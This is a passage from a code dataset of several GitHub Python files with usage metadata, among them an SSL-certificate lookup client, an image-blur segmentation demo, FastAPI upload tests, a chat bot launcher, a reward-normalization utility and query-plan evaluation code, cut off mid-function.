291, "usage_type": "attribute"}, {"api_name": "numpy.float64", "line_number": 295, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 303, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 337, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 363, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 371, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 388, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 399, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 412, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 420, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 435, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 442, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 453, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 490, "usage_type": "call"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 498, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 518, "usage_type": "call"}, {"api_name": "xgboost.XGBClassifier", "line_number": 522, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 570, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 612, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 618, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 624, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 630, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 632, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 638, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 640, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 644, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 646, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 650, "usage_type": "call"}, {"api_name": "seaborn.set", "line_number": 658, "usage_type": "call"}, {"api_name": "scikitplot.metrics.plot_confusion_matrix", "line_number": 660, "usage_type": "call"}, {"api_name": "scikitplot.metrics", "line_number": 660, "usage_type": "attribute"}, {"api_name": "seaborn.set", "line_number": 661, "usage_type": "call"}, {"api_name": "scikitplot.metrics.plot_roc", "line_number": 665, "usage_type": "call"}, {"api_name": "scikitplot.metrics", "line_number": 665, "usage_type": "attribute"}, {"api_name": "seaborn.set", "line_number": 666, "usage_type": "call"}, {"api_name": "scikitplot.metrics.plot_ks_statistic", "line_number": 668, "usage_type": "call"}, {"api_name": "scikitplot.metrics", "line_number": 668, "usage_type": "attribute"}, {"api_name": "seaborn.set", "line_number": 669, "usage_type": "call"}, {"api_name": "scikitplot.metrics.plot_precision_recall", "line_number": 671, "usage_type": "call"}, {"api_name": "scikitplot.metrics", "line_number": 671, "usage_type": "attribute"}, {"api_name": "gc.collect", "line_number": 731, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 732, "usage_type": "call"}]} +{"seq_id": "5340792803", "text": "\n# https://github.com/vikingSec/grabbrapp_oss/python/pull_ssl_cert\n# This Python code will utilize the GrabbrApp API to pull down SSL certificate information on a domain.\n# NOTE: You can obtain your API key by going to grabbrapp.io/user if you already have an account, or go to grabbrapp.io/signup to sign up for a free account\n# INPUT:\n# \targ1 - Domain - The domain that you would like to look up\n# \t.env - ENV file - An environment variable file containing your EMail and the API key associated with your email. Please reference the .sampleenv file\n# OUTPUT:\n# \tThis will output to a file named {domain}_ssl.json . If you would like for it to simply output to stdout, you can pass in the --out flag like the second example given below\n# Example:\n# \tpython pull.py youtube.com\n# \tpython pull.py youtube.com --out\nimport os, sys, requests\nfrom dotenv import load_dotenv\n\nload_dotenv()\ndef main():\n try:\n domain = sys.argv[1]\n except:\n print(\"[x] Please run the python file with a domain as the first argument\")\n apikey = os.getenv(\"GRABBRAPP_APIKEY\")\n email = os.getenv(\"GRABBRAPP_EMAIL\")\n if apikey == None:\n print(\"No API key in ./.env file\")\n return\n \n if email == None:\n print(\"No email in ./.env file\")\n return\n try:\n domain = domain.split(\"://\")[1]\n except:\n domain = domain\n postdata = {\n\t\t\"email\": email,\n\t\t\"apikey\": apikey,\n\t\t\"domain\": domain\n\t}\n\n url = \"https://grabbrapp.io/api/dapi/ssl/domain\"\n res = requests.post(url=url, json=postdata)\n if \"--out\" in sys.argv:\n print(res.text)\n return\n else:\n f = open(\"./\"+domain+\"_ssl.json\",\"w\")\n f.write(res.text)\n f.close()\n return\nif __name__ == \"__main__\":\n main()", "repo_name": "vikingSec/grabbrapp_oss", "sub_path": "python/pull_ssl_cert/pull.py", "file_name": "pull.py", "file_ext": "py", "file_size_in_byte": 1763, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "86", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 22, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 23, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 42, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 43, "usage_type": "attribute"}]} +{"seq_id": "30772841033", "text": "from crfrnn_model import get_crfrnn_model_def\nimport util\nimport cv2\nimport numpy as np\nimport scipy\nimport scipy.ndimage, scipy.ndimage.filters\nimport argparse\nimport glob\nfrom matplotlib import pyplot\nfrom skimage.exposure import rescale_intensity\nfrom PIL import Image\n\ndef convolve(image, list_points, kernel):\n '''\n Perform convolution operation\n image: input image\n list_points: bitmask containing background pixels\n kernel: blur convolution kernel\n '''\n # dimensions of image\n (iH, iW) = image.shape[:2]\n (kH, kW) = kernel.shape[:2]\n\n #\"pad\" the borders of the input image so the spacial size are not reduced after convolution\n pad = (kW -1)/2\n output = image.copy().astype(np.float32)\n image = cv2.copyMakeBorder(image, pad, pad, pad, pad, cv2.BORDER_REPLICATE)\n\n #loop over masked areas of input image, \"sliding\" kernel across each (x,y)-coordinate \n for point in list_points:\n x,y = point \n x+=pad\n y+=pad\n #print(point) #debug\n if x in range(pad,iW + pad) and y in range (pad, iH + pad):\n #extract the ROI (region of interest) of image by extracting the \"center\" region of current (x,y)\n roi = image[y-pad:y+pad+1, x-pad:x+pad+1]\n\n #perform convolution by taking element-wise mulplicate of ROI and kernel, then summing matrix\n k = (roi*kernel).sum()\n\n output[y-pad, x-pad] = k\n\n #scale output image to be in range [0,255]\n output = rescale_intensity(output, in_range=(0,255))\n output = (output*255).astype(\"uint8\")\n return output\n\ndef main():\n # parse all files in specified input images folder\n ap = argparse.ArgumentParser()\n ap.add_argument(\"-i\", \"--images\", required=True,\n help=\"path to input dataset of images\")\n args = vars(ap.parse_args())\n output_file = \"labels.png\"\n for imagePath in glob.glob(args[\"images\"] + \"/*\"):\n # load the image\n image = cv2.imread(imagePath)\n scale = 500.0/max(image.shape[:2])\n image = cv2.resize(image, (0,0), fx=scale, fy=scale)\n cv2.imwrite(\"test.jpg\", image)\n input_file = \"test.jpg\"\n # # Training model from https://goo.gl/ciEYZi\n saved_model_path = \"crfrnn_keras_model.h5\"\n\n model = get_crfrnn_model_def()\n model.load_weights(saved_model_path)\n # Trained weights\n\n # perform image segmentation\n img_data, img_h, img_w = util.get_preprocessed_image(input_file)\n probs = model.predict(img_data, verbose=False)[0, :, :, :]\n label_mask, segmentation = util.get_label_image(probs, img_h, img_w) \n segmentation.save(output_file)\n\n image_array_rgb = np.array(Image.open(input_file))\n size = 5\n\n # box blur\n smallBlur = np.ones((size, size), dtype=\"float\")*(1.0/(size*size)) \n\n # motion blur\n kernel_motion_blur = np.zeros((size, size))\n kernel_motion_blur[int((size-1)/2), :] = np.ones(size)\n kernel_motion_blur = kernel_motion_blur / size\n\n # Gaussian blur\n guassian_kernel_width = np.int32(16)\n guassian_kernel_half_width = np.int32(guassian_kernel_width/2)\n blur_sigma = np.float32(16)\n\n y,x = \\\n scipy.mgrid[-guassian_kernel_half_width:guassian_kernel_half_width+1,\n -guassian_kernel_half_width:guassian_kernel_half_width+1]\n blur_kernel_not_normalized = np.exp((-(x**2 + y**2))/(2 * blur_sigma**2))\n normalization_constant = np.float32(1) / np.sum(blur_kernel_not_normalized)\n gaussian_blur_kernel = (normalization_constant * blur_kernel_not_normalized).astype(np.float32)\n\n # split input image in r,g,b maps\n r_original,g_original,b_original = np.split(image_array_rgb, 3, axis=2)\n a_original = np.ones_like(r_original)*255\n\n rgba_original = np.concatenate((r_original,g_original,b_original), axis=2).copy()\n\n r = r_original[1350:1650,2300:2600,0].copy().astype(np.uint8)\n g = g_original[1350:1650,2300:2600,0].copy().astype(np.uint8)\n b = b_original[1350:1650,2300:2600,0].copy().astype(np.uint8)\n a = np.ones_like(r) * 255\n rgba = np.dstack((r,g,b,a)).copy()\n\n # choose blur kernel\n blur_kernel=gaussian_blur_kernel\n\n convolution_filter = blur_kernel\n\n # normalize label mask\n label_mask = np.divide(label_mask, 15)\n # zip and invert mask\n list_mask = zip(np.where(label_mask<1)[1], np.where(label_mask<1)[0])\n \n # perform convolution on r,g,b maps separately\n r_convolved = convolve(r_original, list_mask, convolution_filter)\n g_convolved = convolve(g_original, list_mask, convolution_filter)\n b_convolved = convolve(b_original, list_mask, convolution_filter)\n rgba_convolved = np.dstack((r_convolved, g_convolved, b_convolved)).copy()\n \n pyplot.imshow(rgba_convolved)\n pyplot.title(\"Convolved\")\n pyplot.figure()\n pyplot.imshow(label_mask)\n pyplot.title(\"Label Mask\")\n pyplot.figure()\n pyplot.imshow(blur_kernel, cmap=\"gray\", interpolation=\"nearest\")\n pyplot.title(\"blur_kernel\")\n pyplot.figure()\n pyplot.imshow(rgba_original)\n pyplot.title(\"Original\")\n pyplot.show()\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "eacho1/img-processing-project", "sub_path": "crfasrnn_keras/run_demo.py", "file_name": "run_demo.py", "file_ext": "py", "file_size_in_byte": 5368, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.float32", "line_number": 26, "usage_type": "attribute"}, {"api_name": "cv2.copyMakeBorder", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.BORDER_REPLICATE", "line_number": 27, "usage_type": "attribute"}, {"api_name": "skimage.exposure.rescale_intensity", "line_number": 45, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 51, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 58, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 61, "usage_type": "call"}, {"api_name": "crfrnn_model.get_crfrnn_model_def", "line_number": 66, "usage_type": "call"}, {"api_name": "util.get_preprocessed_image", "line_number": 71, "usage_type": "call"}, {"api_name": "util.get_label_image", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 76, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 76, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 76, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 90, "usage_type": "call"}, {"api_name": "scipy.mgrid", "line_number": 93, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 97, "usage_type": "attribute"}, {"api_name": "numpy.split", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 105, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 106, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 107, "usage_type": "attribute"}, {"api_name": "numpy.ones_like", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.dstack", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.dstack", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 136, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}]} +{"seq_id": "8686827308", "text": "from fastapi.testclient import TestClient\nimport json, os\n\nfrom ..app.main import app as application\n\nclient = TestClient(application)\n\nUPLOAD_SUCCESS = \"cat.png\"\n\n\ndef test_upload():\n path = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"assets\", UPLOAD_SUCCESS)\n files = {\"uploaded_file\": (UPLOAD_SUCCESS, open(path, \"rb\"), \"multipart/form-data\")}\n response = client.post(\"/file\", files=files, headers={\"X-Token\": \"my_nonna\"})\n print(response.text)\n assert response.status_code == 200\n\n\ndef test_upload_idm():\n path = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"assets\", \"chinese_meme_1.png\")\n files = {\"uploaded_file\": (\"chinese_meme_1.png\", open(path, \"rb\"), \"multipart/form-data\")}\n response = client.post(\"/file\", files=files, headers={\"X-Token\": \"my_nonna\"})\n print(response.text)\n assert response.status_code == 200\n\n\ndef test_download():\n target_endpoint = os.path.join(\"/file\", UPLOAD_SUCCESS)\n response = client.get(target_endpoint, headers={\"X-Token\": \"my_nonna\"})\n # print(response.text)\n print(response)\n assert response.status_code == 200\n", "repo_name": "YingjieQiao/networks_lab2_dev", "sub_path": "tests/test_file.py", "file_name": "test_file.py", "file_ext": "py", "file_size_in_byte": 1124, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "fastapi.testclient.TestClient", "line_number": 6, "usage_type": "call"}, {"api_name": "app.main.app", "line_number": 6, "usage_type": "argument"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}]} +{"seq_id": "74725106845", "text": "import logging\nimport logging.handlers\n\nlog = logging.getLogger(__name__)\n\nimport os\nimport os.path\nimport sys\nimport yaml\n\nimport botologist.bot\n\nroot_dir = os.getcwd()\nconfig_path = os.path.join(root_dir, \"config.yml\")\n\nif len(sys.argv) > 1:\n config_path = sys.argv[1]\n if not config_path.startswith(\"/\"):\n config_path = os.path.join(root_dir, config_path)\n\nprint(\"Reading config file:\", config_path)\nwith open(config_path, \"r\") as f:\n config = yaml.safe_load(f.read())\n\ntry:\n import resource\n\n # set some memory limits before getting started\n mb = 1024 * 1024\n resource.setrlimit(\n resource.RLIMIT_DATA,\n (\n config.get(\"memory_limit_soft\", 128) * mb,\n config.get(\"memory_limit_hard\", 256) * mb,\n ),\n )\nexcept ImportError:\n pass # windows\n\nif \"storage_dir\" in config:\n if not config[\"storage_dir\"].startswith(\"/\"):\n config[\"storage_dir\"] = os.path.join(root_dir, config[\"storage_dir\"])\nelse:\n config[\"storage_dir\"] = os.path.join(root_dir, \"storage\")\n\n# read the logging level from the config file, defaulting to INFO\nlog_level = logging.INFO\nif \"log_level\" in config:\n log_level = getattr(logging, config.get(\"log_level\").upper())\n\n# set the level\nroot = logging.getLogger()\nroot.setLevel(log_level)\n\nlog_path = config.get(\"log_path\")\n\nif log_path:\n print(\"Logging to file:\", log_path)\n handler = logging.handlers.RotatingFileHandler(\n log_path, maxBytes=(1048576 * 5), backupCount=7\n )\nelse:\n handler = logging.StreamHandler(sys.stdout)\n\nhandler.setLevel(log_level)\n\n# define the logging format\nformatter = logging.Formatter(\"%(asctime)s [%(levelname)8s] [%(name)s] %(message)s\")\nhandler.setFormatter(formatter)\n\n# add the logging handler for all loggers\nroot.addHandler(handler)\n\n# get rid of various annoying log messages\nif log_level < logging.WARNING:\n logging.getLogger(\"requests.packages.urllib3.connectionpool\").setLevel(\n logging.WARNING\n )\n\nbot = None\n\n# initialize and run the bot\ntry:\n bot = botologist.bot.Bot(config)\n\n # use the git commit hash as version\n git_dir = os.path.join(root_dir, \".git\")\n if os.path.isdir(git_dir):\n with open(os.path.join(git_dir, \"HEAD\")) as f:\n ref = f.read().strip().split(\": \")[-1]\n with open(os.path.join(git_dir, ref)) as f:\n bot.version = f.read().strip()[:8]\n\n print(\"Starting chat bot...\")\n bot.run_forever()\nexcept:\n log.exception(\"Uncaught exception\")\n print(\"An exception occurred - check log for details. Exiting!\")\n if bot:\n bot.stop()\n sys.exit(1)\n", "repo_name": "anlutro/botologist", "sub_path": "botologist/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 2607, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.getLogger", "line_number": 4, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "yaml.safe_load", "line_number": 23, "usage_type": "call"}, {"api_name": "resource.setrlimit", "line_number": 30, "usage_type": "call"}, {"api_name": "resource.RLIMIT_DATA", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 47, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 52, "usage_type": "call"}, {"api_name": "logging.handlers.RotatingFileHandler", "line_number": 59, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 59, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 63, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 63, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 68, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 75, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 76, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 77, "usage_type": "attribute"}, {"api_name": "botologist.bot.bot.Bot", "line_number": 84, "usage_type": "call"}, {"api_name": "botologist.bot.bot", "line_number": 84, "usage_type": "attribute"}, {"api_name": "botologist.bot", "line_number": 84, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 91, "usage_type": "call"}, {"api_name": "os.path", "line_number": 91, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 101, "usage_type": "call"}]} +{"seq_id": "3794817520", "text": "\"\"\"Utilities and definitions shared by reward-related code.\"\"\"\n\nfrom typing import Callable\n\nimport numpy as np\nfrom stable_baselines3.common import vec_env\n\nRewardFn = Callable[[np.ndarray, np.ndarray, np.ndarray, np.ndarray], np.ndarray]\n\n\ndef build_norm_reward_fn(\n *,\n reward_fn: RewardFn,\n vec_normalize: vec_env.VecNormalize,\n norm_reward: bool = True,\n) -> RewardFn:\n \"\"\"Wraps `reward_fn` to automatically normalize input.\n\n Args:\n reward_fn: The reward function that normalized inputs are evaluated on.\n vec_normalize: Instance of VecNormalize used to normalize inputs and\n rewards.\n norm_reward: If True, then also normalize reward before returning.\n\n Returns:\n A reward function that normalizes the inputs using `vec_normalize`,\n calls `reward_fn` and if `norm_reward` then normalizes the reward.\n \"\"\"\n\n def inner(\n obs: np.ndarray,\n acts: np.ndarray,\n next_obs: np.ndarray,\n dones: np.ndarray,\n ) -> np.ndarray:\n \"\"\"Normalizes `obs` and `next_obs` and computes reward from `reward_fn`.\n\n Args:\n obs: Observations before transition.\n acts: Actions.\n next_obs: Observations after transition.\n dones: Is the transition into terminal state at end of episode?\n\n Returns:\n The reward, normalized if `norm_reward` is true.\n \"\"\"\n norm_obs = vec_normalize.normalize_obs(obs)\n norm_next_obs = vec_normalize.normalize_obs(next_obs)\n rew = reward_fn(norm_obs, acts, norm_next_obs, dones)\n if norm_reward:\n rew = vec_normalize.normalize_reward(rew)\n return rew\n\n return inner\n", "repo_name": "HumanCompatibleAI/eirli", "sub_path": "tp/imitation/src/imitation/rewards/common.py", "file_name": "common.py", "file_ext": "py", "file_size_in_byte": 1710, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 37, "dataset": "github-code", "pt": "86", "api": [{"api_name": "typing.Callable", "line_number": 8, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 8, "usage_type": "attribute"}, {"api_name": "stable_baselines3.common.vec_env.VecNormalize", "line_number": 14, "usage_type": "attribute"}, {"api_name": "stable_baselines3.common.vec_env", "line_number": 14, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 34, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 35, "usage_type": "attribute"}]} +{"seq_id": "22353705869", "text": "import pandas as pd\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport json\nimport os\nfrom sklearn.metrics import f1_score\nimport torch.nn.functional as F\n\n\n##evaluation functions according to AIMEETSAI paper\n\n# collate labels\n# CLIP_VAL = 1e4\nCUT_OFF = 0.2\nIMPROVE = 1\nREGRESS = 0\nNODIFF = 2\n\ndef collate_labels(df):\n # label the plan pairs by: IMPROVE(1), REGRESS(0), and NODIFF(2)\n labels = []\n pair_diffs = []\n pair_diff_ratios = []\n for idx, row in df.iterrows():\n\n relative_time = row['Right_Cost'] / row['Left_Cost']\n if relative_time > (1+CUT_OFF):\n labels.append(REGRESS)\n elif relative_time < (1-CUT_OFF):\n labels.append(IMPROVE)\n else: \n labels.append(NODIFF)\n \n return labels\n\n\ndef compute_score(gt, pred):\n gt = np.array(gt)\n pred = np.array(pred)\n acc = sum(pred == gt) / len(gt)\n f1 = f1_score(gt, pred, average = None)\n avg_f1 = np.mean(f1)\n return acc, f1, avg_f1\n\n\n# helper for splitting\ndef hash_by_plan(plan):\n # returns the hash value of a plan's node types\n node_types = []\n def dfs(node):\n if 'Plans' in node:\n for child in node['Plans']:\n dfs(child)\n elif 'Plan' in node:\n # imdb\n if 'Plans' in node['Plan']:\n for child in node['Plan']['Plans']:\n dfs(child)\n node_types.append(node['Node Type'])\n dfs(plan)\n return hash(tuple(node_types))\n\ndef add_plan_id(raw_df):\n # append an id to each unique plan hash value\n hash2id = {}\n ids = []\n for i, row in raw_df.iterrows():\n if 'id' in row:\n # imdb\n idx = row['id']\n js_str = row['json']\n else:\n idx = i\n js_str = row['Plan_dump']\n \n if js_str == 'failed':\n continue \n plan = json.loads(js_str)\n has = hash_by_plan(plan)\n if has not in hash2id:\n hash2id[has] = len(hash2id)\n ids.append(hash2id[has])\n raw_df['Plan_id'] = ids\n\n\ndef split_grouped_ids(raw_df, threshold):\n # group dataset by their plan ids, and split into train ids and test ids by given threshold\n add_plan_id(raw_df)\n #### need to do with imdb's query id\n template2plan_id = dict(raw_df.groupby('Query_id')['Plan_id'].unique())\n data_raw_train_ids = set()\n data_raw_test_ids = set()\n for k, v in template2plan_id.items():\n if len(v) <= threshold:\n cur = set(raw_df.loc[(raw_df['Plan_id'].isin(v)) & (raw_df['Query_id']==k)].index)\n data_raw_train_ids.update(cur)\n else:\n tv = v[:len(v)*(threshold-1)//threshold]\n vv = v[len(v)*(threshold-1)//threshold:]\n cur = set(raw_df.loc[(raw_df['Plan_id'].isin(tv)) & (raw_df['Query_id']==k)].index)\n data_raw_train_ids.update(cur)\n cur = set(raw_df.loc[(raw_df['Plan_id'].isin(vv)) & (raw_df['Query_id']==k)].index)\n data_raw_test_ids.update(cur) \n return data_raw_train_ids, data_raw_test_ids\n\ndef split_train_test(df, raw_df, method = 'pair', threshold = 5, group = 0, dataset = None):\n np.random.seed(42)\n length = len(df)\n if method == 'pair':\n order = np.random.permutation(length)\n train_idxs = order[:length*(threshold-1)//threshold]\n test_idxs = order[length*(threshold-1)//threshold:]\n train_pairs = df.loc[train_idxs]\n test_pairs = df.loc[test_idxs]\n \n elif method == 'query':\n #### need to do with imdb's run id\n max_run_id = max(df['Query_id'])\n order = np.random.permutation(max_run_id+1)\n train_run_id = order[:max_run_id*(threshold-1)//threshold]\n test_run_id = order[max_run_id*(threshold-1)//threshold:]\n train_pairs = df.loc[df['Query_id'].isin(train_run_id)]\n test_pairs = df.loc[df['Query_id'].isin(test_run_id)]\n \n elif method == 'plan':\n data_raw_train_ids, data_raw_test_ids = split_grouped_ids(raw_df, threshold)\n train_pairs = df.loc[\n (df['Left'].isin(data_raw_train_ids)) & \n df['Right'].isin(data_raw_train_ids)\n ]\n test_pairs = df.loc[\n (df['Right'].isin(data_raw_test_ids)) |\n (df['Left'].isin(data_raw_test_ids)) \n ]\n \n ## for TPC-H and TPC-DS, so that queries are indeed different\n ## different templates have different complexity, especially in TPC-H\n ## thus average from a few groups\n ## TPC-H: 0,2,6\n ## TPC-DS: 0,1,2,4,5\n elif method == 'template': \n if dataset == 'TPCH':\n group_size = 2\n elif dataset == 'TPCDS':\n group_size = 11\n \n templates = df['Query_id'].unique()\n if isinstance(group, list):\n train_pairs = df.loc[~df['Query_id'].isin(group)]\n test_pairs = df.loc[df['Query_id'].isin(group)] \n else: \n group_id = list(range(group*group_size, (group+1)*group_size))\n template_id = templates[group_id]\n train_pairs = df.loc[~df['Query_id'].isin(template_id)]\n test_pairs = df.loc[df['Query_id'].isin(template_id)]\n \n return train_pairs, test_pairs\n\ndef randomSwap(df):\n ddf = df.copy()\n length = len(df)\n np.random.seed(42)\n \n truth_val = np.random.randint(2, size=length)\n to_swap = [i for i, t in enumerate(truth_val) if t]\n \n print(to_swap[:10])\n ddf.loc[to_swap, 'Left'] = df.loc[to_swap, 'Right']\n ddf.loc[to_swap, 'Right'] = df.loc[to_swap, 'Left']\n \n ddf.loc[to_swap, 'Left_Cost'] = df.loc[to_swap, 'Right_Cost']\n ddf.loc[to_swap, 'Right_Cost'] = df.loc[to_swap, 'Left_Cost']\n \n return ddf\n\nimport sys\nsys.path.append('../evaluation/')\n\nfrom algorithms.avgdl import AVGDL_Dataset, AVGDL\nfrom algorithms.avgdl import Encoding as avgdl_Encoding\nfrom algorithms.avgdl import DataLoader as avgdl_loader\nfrom algorithms.avgdl import collate as avgdl_collate\n\ndef Loader(left_ds, right_ds, args):\n \n if 